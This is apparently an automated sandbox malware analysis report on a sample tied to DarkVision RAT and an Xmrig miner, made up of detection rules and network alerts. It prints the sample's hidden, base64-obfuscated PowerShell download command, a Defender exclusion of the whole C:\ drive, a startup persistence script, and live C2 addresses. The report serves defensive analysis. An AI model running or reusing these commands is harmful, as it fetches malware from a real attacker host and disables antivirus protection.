Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('aHR0cHM6Ly93b28wOTc4Nzg3ODEud2luL2Rvd25sb2FkZWRfZmlsZS5iaW4='))) -OutFile 'C:\Users\user\AppData\Local\Temp\downloaded_file.bin'", CommandLine: powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('aHR0cHM6Ly93b28wOTc4Nzg3ODEud2luL2Rvd25sb2FkZWRfZmlsZS5iaW4='))) -OutFile 'C:\Users\user\AppData\Local\Temp\downloaded_file.bin'", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\system32\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\295B.tmp\295C.tmp\295D.bat C:\Users\user\Desktop\file.exe", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1800, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('aHR0cHM6Ly93b28wOTc4Nzg3ODEud2luL2Rvd25sb2FkZWRfZmlsZS5iaW4='))) -OutFile 'C:\Users\user\AppData\Local\Temp\downloaded_file.bin'", ProcessId: 7216, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('aHR0cHM6Ly93b28wOTc4Nzg3ODEud2luL2Rvd25sb2FkZWRfZmlsZS5iaW4='))) -OutFile 'C:\Users\user\AppData\Local\Temp\downloaded_file.bin'", CommandLine: powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('aHR0cHM6Ly93b28wOTc4Nzg3ODEud2luL2Rvd25sb2FkZWRfZmlsZS5iaW4='))) -OutFile 'C:\Users\user\AppData\Local\Temp\downloaded_file.bin'", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\system32\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\295B.tmp\295C.tmp\295D.bat C:\Users\user\Desktop\file.exe", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1800, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('aHR0cHM6Ly93b28wOTc4Nzg3ODEud2luL2Rvd25sb2FkZWRfZmlsZS5iaW4='))) -OutFile 'C:\Users\user\AppData\Local\Temp\downloaded_file.bin'", ProcessId: 7216, ProcessName: powershell.exe

Sigma detected: PowerShell Web Download

Source: Process started

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Remote Thread Creation By Uncommon Source Image

Source: Threat created

Author: Perez Diego (@darkquassar), oscd.community: Data: EventID: 8, SourceImage: C:\Windows\explorer.exe, SourceProcessId: 7784, StartAddress: 4F0000, TargetImage: C:\Windows\explorer.exe, TargetProcessId: 8028

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('aHR0cHM6Ly93b28wOTc4Nzg3ODEud2luL2Rvd25sb2FkZWRfZmlsZS5iaW4='))) -OutFile 'C:\Users\user\AppData\Local\Temp\downloaded_file.bin'", CommandLine: powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('aHR0cHM6Ly93b28wOTc4Nzg3ODEud2luL2Rvd25sb2FkZWRfZmlsZS5iaW4='))) -OutFile 'C:\Users\user\AppData\Local\Temp\downloaded_file.bin'", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\system32\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\295B.tmp\295C.tmp\295D.bat C:\Users\user\Desktop\file.exe", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1800, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('aHR0cHM6Ly93b28wOTc4Nzg3ODEud2luL2Rvd25sb2FkZWRfZmlsZS5iaW4='))) -OutFile 'C:\Users\user\AppData\Local\Temp\downloaded_file.bin'", ProcessId: 7216, ProcessName: powershell.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: PowerShell -Command "Add-MpPreference -ExclusionPath 'C:\'", CommandLine: PowerShell -Command "Add-MpPreference -ExclusionPath 'C:\'", CommandLine|base64offset|contains: >(^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\system32\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\295B.tmp\295C.tmp\295D.bat C:\Users\user\Desktop\file.exe", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1800, ParentProcessName: cmd.exe, ProcessCommandLine: PowerShell -Command "Add-MpPreference -ExclusionPath 'C:\'", ProcessId: 7000, ProcessName: powershell.exe

Data Obfuscation

Sigma detected: Drops script at startup location

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Windows\System32\cmd.exe, ProcessId: 1800, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AutoRun_WindosCPUsystem.bat

Suricata Signatures

ET COINMINER CoinMiner Domain in DNS Lookup (pool .hashvault .pro)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T07:37:36.142909+0100	2036289	2	Crypto Currency Mining Activity Detected	192.168.2.4	54892	1.1.1.1	53	UDP

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T07:37:29.980726+0100	2028371	3	Unknown Traffic	192.168.2.4	49738	154.216.20.243	443	TCP
2024-12-09T07:37:30.470669+0100	2028371	3	Unknown Traffic	192.168.2.4	49737	154.216.20.243	443	TCP
2024-12-09T07:38:05.335051+0100	2028371	3	Unknown Traffic	192.168.2.4	49740	154.216.20.243	443	TCP
2024-12-09T07:38:29.876691+0100	2028371	3	Unknown Traffic	192.168.2.4	49764	154.216.20.243	443	TCP

ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T07:37:31.145554+0100	2022482	1	A Network Trojan was detected	192.168.2.4	49737	154.216.20.243	443	TCP

ET MALWARE JS/Nemucod.M.gen downloading EXE payload

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T07:37:31.426940+0100	2021954	1	A Network Trojan was detected	154.216.20.243	443	192.168.2.4	49737	TCP

ET MALWARE Win32/DarkVision RAT CnC Checkin M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T07:37:29.989191+0100	2045618	1	A Network Trojan was detected	192.168.2.4	49739	185.157.162.216	5200	TCP
2024-12-09T07:37:35.410820+0100	2045618	1	A Network Trojan was detected	192.168.2.4	49741	185.157.162.216	5200	TCP
2024-12-09T07:37:38.092973+0100	2045618	1	A Network Trojan was detected	192.168.2.4	49744	185.157.162.216	5200	TCP
2024-12-09T07:37:40.827923+0100	2045618	1	A Network Trojan was detected	192.168.2.4	49745	185.157.162.216	5200	TCP
2024-12-09T07:37:43.495962+0100	2045618	1	A Network Trojan was detected	192.168.2.4	49746	185.157.162.216	5200	TCP
2024-12-09T07:37:46.191236+0100	2045618	1	A Network Trojan was detected	192.168.2.4	49747	185.157.162.216	5200	TCP
2024-12-09T07:38:41.565655+0100	2045618	1	A Network Trojan was detected	192.168.2.4	49848	185.157.162.216	5200	TCP
2024-12-09T07:38:46.992724+0100	2045618	1	A Network Trojan was detected	192.168.2.4	49863	185.157.162.216	5200	TCP
2024-12-09T07:38:49.693183+0100	2045618	1	A Network Trojan was detected	192.168.2.4	49870	185.157.162.216	5200	TCP
2024-12-09T07:38:52.366437+0100	2045618	1	A Network Trojan was detected	192.168.2.4	49876	185.157.162.216	5200	TCP
2024-12-09T07:38:55.065857+0100	2045618	1	A Network Trojan was detected	192.168.2.4	49883	185.157.162.216	5200	TCP
2024-12-09T07:38:57.772811+0100	2045618	1	A Network Trojan was detected	192.168.2.4	49892	185.157.162.216	5200	TCP

ET MALWARE Win32/DarkVision RAT CnC Checkin M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T07:37:33.710760+0100	2045619	1	A Network Trojan was detected	192.168.2.4	49739	185.157.162.216	5200	TCP
2024-12-09T07:38:45.306325+0100	2045619	1	A Network Trojan was detected	192.168.2.4	49848	185.157.162.216	5200	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://woo097878781.win/WindosCPUsystem.exe	Avira URL Cloud: Label: malware
Source: https://woo097878781.win/upload.php	Avira URL Cloud: Label: malware
Source: https://woo097878781.win:443/upload.php	Avira URL Cloud: Label: malware

Found malware configuration

Source: 16.2.explorer.exe.e00000.0.unpack

Malware Configuration Extractor: DarkVision Rat {"C2": "185.157.162.216", "Port": 5200}

Multi AV Scanner detection for domain / URL

Source: woo097878781.win	Virustotal: Detection: 11%			Perma Link
Source: https://woo097878781.win/downloaded_file.bin	Virustotal: Detection: 6%			Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe

ReversingLabs: Detection: 83%

Multi AV Scanner detection for submitted file

Source: file.exe	ReversingLabs: Detection: 34%
Source: file.exe	Virustotal: Detection: 44%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	Joe Sandbox ML: detected
Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	Code function: 13_2_0031C031 CryptReleaseContext,CryptDestroyHash,	13_2_0031C031
Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	Code function: 13_2_0031C00C CryptReleaseContext,CryptDestroyHash,	13_2_0031C00C
Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	Code function: 13_2_00305140 LocalAlloc,lstrcpyW,lstrcpyW,lstrcpyW,lstrcpyW,lstrcpyW,lstrcpyW,lstrcpyW,_memset,CryptBinaryToStringW,CryptBinaryToStringW,_memset,__snwprintf,lstrcpyW,LocalFree,WaitForSingleObject,RtlExitUserThread,_memset,_memset,_memset,_memset,__snwprintf,WaitForMultipleObjects,WaitForSingleObject,GetExitCodeProcess,WaitForSingleObject,WaitForSingleObject,CloseHandle,CloseHandle,LocalFree,LocalFree,CloseHandle,CloseHandle,	13_2_00305140
Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	Code function: 13_2_0031BF00 CryptAcquireContextW,CryptCreateHash,WaitForSingleObject,CryptHashData,CryptHashData,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,CryptReleaseContext,CryptDestroyHash,	13_2_0031BF00
Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	Code function: 13_2_0031BFB6 CryptReleaseContext,CryptDestroyHash,	13_2_0031BFB6
Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	Code function: 13_2_0031BFD9 CryptReleaseContext,CryptDestroyHash,	13_2_0031BFD9
Source: C:\Windows\explorer.exe	Code function: 16_2_00E1DAD0 CryptAcquireContextW,CryptCreateHash,WaitForSingleObject,CryptHashData,CryptHashData,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,CryptReleaseContext,CryptDestroyHash,	16_2_00E1DAD0
Source: C:\Windows\explorer.exe	Code function: 16_2_00E053B0 LocalAlloc,lstrcpyW,lstrcpyW,lstrcpyW,lstrcpyW,lstrcpyW,lstrcpyW,lstrcpyW,CryptBinaryToStringW,CryptBinaryToStringW,lstrcpyW,LocalFree,WaitForSingleObject,RtlExitUserThread,WaitForMultipleObjects,WaitForSingleObject,GetExitCodeProcess,WaitForSingleObject,WaitForSingleObject,CloseHandle,CloseHandle,LocalFree,LocalFree,CloseHandle,CloseHandle,	16_2_00E053B0
Source: C:\Windows\explorer.exe	Code function: 16_2_00E1DBEE CryptReleaseContext,CryptDestroyHash,	16_2_00E1DBEE
Source: C:\Windows\explorer.exe	Code function: 16_2_00E1DBC7 CryptReleaseContext,CryptDestroyHash,	16_2_00E1DBC7
Source: C:\Windows\explorer.exe	Code function: 16_2_00E1DC5F CryptReleaseContext,CryptDestroyHash,	16_2_00E1DC5F
Source: C:\Windows\explorer.exe	Code function: 16_2_00E1DC2A CryptReleaseContext,CryptDestroyHash,	16_2_00E1DC2A
Source: C:\Windows\explorer.exe	Code function: 18_2_022C52D0 SHGetKnownFolderPath,LocalAlloc,CreateFileW,GetFileSize,LocalAlloc,ReadFile,type_info::_name_internal_method,type_info::_name_internal_method,CryptUnprotectData,free,LocalFree,LocalFree,CoTaskMemFree,CloseHandle,LocalFree,CloseHandle,LocalFree,CoTaskMemFree,	18_2_022C52D0
Source: C:\Windows\explorer.exe	Code function: 18_2_022C6640 LocalAlloc,wsprintfW,_snprintf,wsprintfW,wsprintfW,wsprintfW,CryptUnprotectData,wsprintfW,MultiByteToWideChar,wsprintfW,LocalFree,wsprintfW,wsprintfW,__ExceptionPtrDestroy,wsprintfW,LocalFree,LocalFree,lstrlenW,LocalFree,	18_2_022C6640
Source: C:\Windows\explorer.exe	Code function: 18_2_022CA4A0 LocalAlloc,CreateFileW,GetFileSize,LocalAlloc,ReadFile,type_info::_name_internal_method,type_info::_name_internal_method,CryptUnprotectData,free,LocalFree,LocalFree,CoTaskMemFree,CloseHandle,LocalFree,CloseHandle,LocalFree,CoTaskMemFree,	18_2_022CA4A0
Source: C:\Windows\explorer.exe	Code function: 18_2_022C9AC0 CryptBinaryToStringW,RegGetValueW,	18_2_022C9AC0
Source: C:\Windows\explorer.exe	Code function: 18_2_022C9BF0 CryptBinaryToStringW,RegOpenKeyW,RegSetValueExW,RegCloseKey,RegCloseKey,	18_2_022C9BF0
Source: C:\Windows\explorer.exe	Code function: 18_2_022C49D0 SHGetKnownFolderPath,LocalAlloc,CreateFileW,GetFileSize,LocalAlloc,ReadFile,type_info::_name_internal_method,type_info::_name_internal_method,CryptUnprotectData,free,LocalFree,LocalFree,CoTaskMemFree,CloseHandle,LocalFree,CloseHandle,LocalFree,CoTaskMemFree,	18_2_022C49D0
Source: C:\Windows\explorer.exe	Code function: 18_2_022C6E70 LocalAlloc,wsprintfW,_snprintf,wsprintfW,wsprintfW,wsprintfW,CryptUnprotectData,wsprintfW,MultiByteToWideChar,wsprintfW,LocalFree,wsprintfW,wsprintfW,__ExceptionPtrDestroy,wsprintfW,LocalFree,lstrlenW,LocalFree,LocalFree,	18_2_022C6E70
Source: C:\Windows\explorer.exe	Code function: 18_2_022C4FD0 SHGetKnownFolderPath,LocalAlloc,CreateFileW,GetFileSize,LocalAlloc,ReadFile,type_info::_name_internal_method,type_info::_name_internal_method,CryptUnprotectData,free,LocalFree,LocalFree,CoTaskMemFree,CloseHandle,LocalFree,CloseHandle,LocalFree,CoTaskMemFree,	18_2_022C4FD0
Source: C:\Windows\explorer.exe	Code function: 18_2_022C4CD0 SHGetKnownFolderPath,LocalAlloc,CreateFileW,GetFileSize,LocalAlloc,ReadFile,type_info::_name_internal_method,type_info::_name_internal_method,CryptUnprotectData,free,LocalFree,LocalFree,CoTaskMemFree,CloseHandle,LocalFree,CloseHandle,LocalFree,CoTaskMemFree,	18_2_022C4CD0
Source: C:\Windows\explorer.exe	Code function: 18_2_022C9D30 CryptAcquireContextW,CryptCreateHash,WaitForSingleObject,CryptHashData,CryptHashData,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,CryptReleaseContext,CryptDestroyHash,	18_2_022C9D30
Source: C:\Windows\explorer.exe	Code function: 18_2_022CA7A0 LocalAlloc,wsprintfW,_snprintf,wsprintfW,wsprintfW,wsprintfW,CryptUnprotectData,wsprintfW,MultiByteToWideChar,wsprintfW,LocalFree,wsprintfW,wsprintfW,__ExceptionPtrDestroy,wsprintfW,LocalFree,LocalFree,LocalFree,	18_2_022CA7A0
Source: C:\Windows\explorer.exe	Code function: 18_2_022C55D0 LocalAlloc,wsprintfW,_snprintf,wsprintfW,wsprintfW,wsprintfW,CryptUnprotectData,wsprintfW,MultiByteToWideChar,wsprintfW,LocalFree,wsprintfW,wsprintfW,__ExceptionPtrDestroy,wsprintfW,LocalFree,LocalFree,lstrlenW,LocalFree,	18_2_022C55D0
Source: C:\Windows\explorer.exe	Code function: 18_2_022C9E27 CryptReleaseContext,CryptDestroyHash,	18_2_022C9E27
Source: C:\Windows\explorer.exe	Code function: 18_2_022C5E10 LocalAlloc,wsprintfW,_snprintf,wsprintfW,wsprintfW,wsprintfW,CryptUnprotectData,wsprintfW,MultiByteToWideChar,wsprintfW,LocalFree,wsprintfW,wsprintfW,__ExceptionPtrDestroy,wsprintfW,LocalFree,LocalFree,lstrlenW,LocalFree,	18_2_022C5E10
Source: C:\Windows\explorer.exe	Code function: 18_2_022C3E70 CryptStringToBinaryA,	18_2_022C3E70
Source: C:\Windows\explorer.exe	Code function: 18_2_022C9E4E CryptReleaseContext,CryptDestroyHash,	18_2_022C9E4E
Source: C:\Windows\explorer.exe	Code function: 18_2_022C9EBF CryptReleaseContext,CryptDestroyHash,	18_2_022C9EBF
Source: C:\Windows\explorer.exe	Code function: 18_2_022C9E8A CryptReleaseContext,CryptDestroyHash,	18_2_022C9E8A

Exploits

Yara detected UAC Bypass using CMSTP

Source: Yara match	File source: 13.2.downloaded_file.exe.300000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.powershell.exe.29e75ee9280.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.downloaded_file.exe.fedfd8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.explorer.exe.e00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.powershell.exe.29e75e6b438.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.powershell.exe.29e75e6b438.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.0.downloaded_file.exe.300000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.powershell.exe.29e75ee9280.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.downloaded_file.exe.fedfd8.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.1939596081.0000029E75EE0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.1947121395.0000000000FEE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000000.1946141643.0000000000332000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.1957167452.0000000000FEB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.1939596081.0000029E75DED000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7644, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: downloaded_file.exe PID: 7724, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 7784, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe, type: DROPPED

Bitcoin Miner

Yara detected Xmrig cryptocurrency miner

Source: Yara match

File source: Process Memory Space: explorer.exe PID: 1436, type: MEMORYSTR

Source: unknown	HTTPS traffic detected: 154.216.20.243:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 154.216.20.243:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 154.216.20.243:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 154.216.20.243:443 -> 192.168.2.4:49764 version: TLS 1.2

Source:

Binary string: d:\hotproject\winring0\source\dll\sys\lib\amd64\WinRing0.pdb source: WindosCPUsystem.exe, 00000013.00000003.2043817776.0000016DE6150000.00000004.00000001.00020000.00000000.sdmp, WindosCPUsystem.exe, 0000001F.00000003.2062364463.000001677A4C0000.00000004.00000001.00020000.00000000.sdmp

Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	Code function: 13_2_0031CA90 WaitForSingleObject,LocalAlloc,wnsprintfW,LocalAlloc,FindFirstFileW,WaitForSingleObject,lstrcmpW,lstrcmpW,LocalAlloc,wnsprintfW,RemoveDirectoryW,GetLastError,LocalFree,wnsprintfW,DeleteFileW,FindNextFileW,FindClose,GetLastError,LocalFree,LocalFree,	13_2_0031CA90
Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	Code function: 13_2_00313620 _memset,_memset,SHGetKnownFolderPath,lstrlenW,__snwprintf,__snwprintf,CoTaskMemFree,_memset,__snwprintf,FindFirstFileW,_memset,__snwprintf,DeleteFileW,FindNextFileW,FindClose,Sleep,GetFileAttributesW,RemoveDirectoryW,Sleep,GetFileAttributesW,RemoveDirectoryW,Sleep,	13_2_00313620
Source: C:\Windows\explorer.exe	Code function: 16_2_00E097F0 SHGetKnownFolderPath,lstrlenW,CoTaskMemFree,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,Sleep,GetFileAttributesW,RemoveDirectoryW,Sleep,GetFileAttributesW,RemoveDirectoryW,Sleep,	16_2_00E097F0
Source: C:\Windows\explorer.exe	Code function: 18_2_022C7FB0 LocalAlloc,StrCmpNIW,LocalAlloc,LocalAlloc,LocalAlloc,FindFirstFileW,lstrcmpiW,lstrcmpiW,LocalAlloc,GetTempPathW,LocalAlloc,GetTickCount,CopyFileW,CreateFileW,GetFileSize,LocalAlloc,ReadFile,CloseHandle,LocalFree,CloseHandle,DeleteFileW,LocalFree,LocalFree,FindNextFileW,FindClose,LocalFree,LocalFree,LocalFree,LocalFree,lstrlenW,	18_2_022C7FB0

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Temp\295B.tmp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Temp\295B.tmp\295C.tmp\295D.tmp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Temp\295B.tmp\295C.tmp	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.4:49739 -> 185.157.162.216:5200
Source: Network traffic	Suricata IDS: 2045619 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M3 : 192.168.2.4:49739 -> 185.157.162.216:5200
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.4:49741 -> 185.157.162.216:5200
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.4:49745 -> 185.157.162.216:5200
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.4:49747 -> 185.157.162.216:5200
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.4:49746 -> 185.157.162.216:5200
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.4:49744 -> 185.157.162.216:5200
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.4:49848 -> 185.157.162.216:5200
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.4:49863 -> 185.157.162.216:5200
Source: Network traffic	Suricata IDS: 2045619 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M3 : 192.168.2.4:49848 -> 185.157.162.216:5200
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.4:49870 -> 185.157.162.216:5200
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.4:49876 -> 185.157.162.216:5200
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.4:49883 -> 185.157.162.216:5200
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.4:49892 -> 185.157.162.216:5200
Source: Network traffic	Suricata IDS: 2022482 - Severity 1 - ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01 : 192.168.2.4:49737 -> 154.216.20.243:443
Source: Network traffic	Suricata IDS: 2021954 - Severity 1 - ET MALWARE JS/Nemucod.M.gen downloading EXE payload : 154.216.20.243:443 -> 192.168.2.4:49737

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Network Connect: 5.188.137.200 3333
Source: C:\Windows\explorer.exe	Network Connect: 154.216.20.243 443
Source: C:\Windows\explorer.exe	Network Connect: 37.203.243.102 3333
Source: C:\Windows\explorer.exe	Network Connect: 185.157.162.216 5200	Jump to behavior

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

IPs: 185.157.162.216

Source: global traffic	TCP traffic: 192.168.2.4:49739 -> 185.157.162.216:5200
Source: global traffic	TCP traffic: 192.168.2.4:49742 -> 37.203.243.102:3333
Source: global traffic	TCP traffic: 192.168.2.4:49816 -> 5.188.137.200:3333

Source: Joe Sandbox View

IP Address: 154.216.20.243 154.216.20.243

Source: Joe Sandbox View	ASN Name: SELECTEL-MSKRU SELECTEL-MSKRU
Source: Joe Sandbox View	ASN Name: OBE-EUROPEObenetworkEuropeSE OBE-EUROPEObenetworkEuropeSE

Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49737 -> 154.216.20.243:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49738 -> 154.216.20.243:443
Source: Network traffic	Suricata IDS: 2036289 - Severity 2 - ET COINMINER CoinMiner Domain in DNS Lookup (pool .hashvault .pro) : 192.168.2.4:54892 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49740 -> 154.216.20.243:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49764 -> 154.216.20.243:443

Source: global traffic	HTTP traffic detected: GET /downloaded_file.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: woo097878781.winConnection: Keep-Alive
